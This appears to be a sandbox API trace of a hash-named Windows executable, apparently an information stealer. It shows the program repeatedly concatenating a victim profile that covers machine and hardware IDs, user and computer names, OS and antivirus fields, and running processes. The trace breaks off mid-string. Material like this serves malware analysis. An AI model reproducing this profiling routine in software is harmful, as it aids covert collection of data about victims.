[0054.872] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- "
[0054.872] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- ", lpString2="trade.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe"
[0054.872] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe ["
[0054.872] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d938
[0054.872] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d948
[0054.872] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.872] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [", lpString2="780" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780"
[0054.872] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: 